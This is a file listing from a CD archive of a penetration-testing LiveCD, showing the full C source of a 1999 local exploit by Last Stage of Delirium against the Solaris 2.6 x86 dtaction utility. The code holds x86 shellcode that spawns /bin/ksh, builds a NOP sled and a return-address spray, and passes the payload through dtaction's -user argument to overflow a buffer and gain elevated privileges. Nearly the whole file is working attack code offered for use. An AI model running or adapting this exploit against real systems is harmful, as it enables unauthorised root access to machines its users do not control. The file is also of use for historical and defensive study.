home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / dtaction2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  54 lines

  1. /*## copyright LAST STAGE OF DELIRIUM may 1999 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/dt/bin/dtaction                                                    #*/
  3.  
  4. #define NOPNUM 800
  5. #define TMPNUM 158
  6. #define ADRNUM 1200
  7.  
  8. char shellcode[]=
  9.     "\xeb\x1b"                /* jmp    <shellcode+30>      */
  10.     "\x33\xd2"                /* xorl   %edx,%edx           */
  11.     "\x58"                    /* popl   %eax                */
  12.     "\x8d\x78\x14"            /* leal   0x14(%eax),edi      */
  13.     "\x52"                    /* pushl  %edx                */
  14.     "\x57"                    /* pushl  %edi                */
  15.     "\x50"                    /* pushl  %eax                */
  16.     "\xab"                    /* stosl  %eax,%es:(%edi)     */
  17.     "\x92"                    /* xchgl  %eax,%edx           */
  18.     "\xab"                    /* stosl  %eax,%es:(%edi)     */
  19.     "\x88\x42\x08"            /* movb   %al,0x8(%edx)       */
  20.     "\x83\xef\x3c"            /* subl   $0x3c,%edi          */
  21.     "\xb0\x9a"                /* movb   $0x9a,%al           */
  22.     "\xab"                    /* stosl  %eax,%es:(%edi)     */
  23.     "\x47"                    /* incl   %edi                */
  24.     "\xb0\x07"                /* movb   $0x7,%al            */
  25.     "\xab"                    /* stosl  %eax,%es:(%edi)     */
  26.     "\xb0\x3b"                /* movb   $0x3b,%al           */
  27.     "\xe8\xe0\xff\xff\xff"    /* call   <shellcode+2>       */
  28.     "/bin/ksh"
  29. ;
  30.  
  31. char jump[]=
  32.     "\x8b\xc4"                /* movl   %esp,%eax           */
  33.     "\xc3"                    /* ret                        */
  34. ;
  35.  
  36. main(int argc,char **argv){
  37.     char buffer[4096],adr[4],*b;
  38.     int i;
  39.  
  40.     printf("copyright LAST STAGE OF DELIRIUM may 1999 poland  //lsd-pl.net/\n");
  41.     printf("/usr/dt/bin/dtaction for solaris 2.6 x86\n\n");
  42.  
  43.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+800;
  44.  
  45.     b=buffer;
  46.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  47.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  48.     for(i=0;i<TMPNUM;i++) *b++=0xff;
  49.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  50.     *b=0;
  51.  
  52.     execl("/usr/dt/bin/dtaction","lsd","-user",buffer,0);
  53. }
  54. /*                    www.hack.co.za           [6 August 2000]*/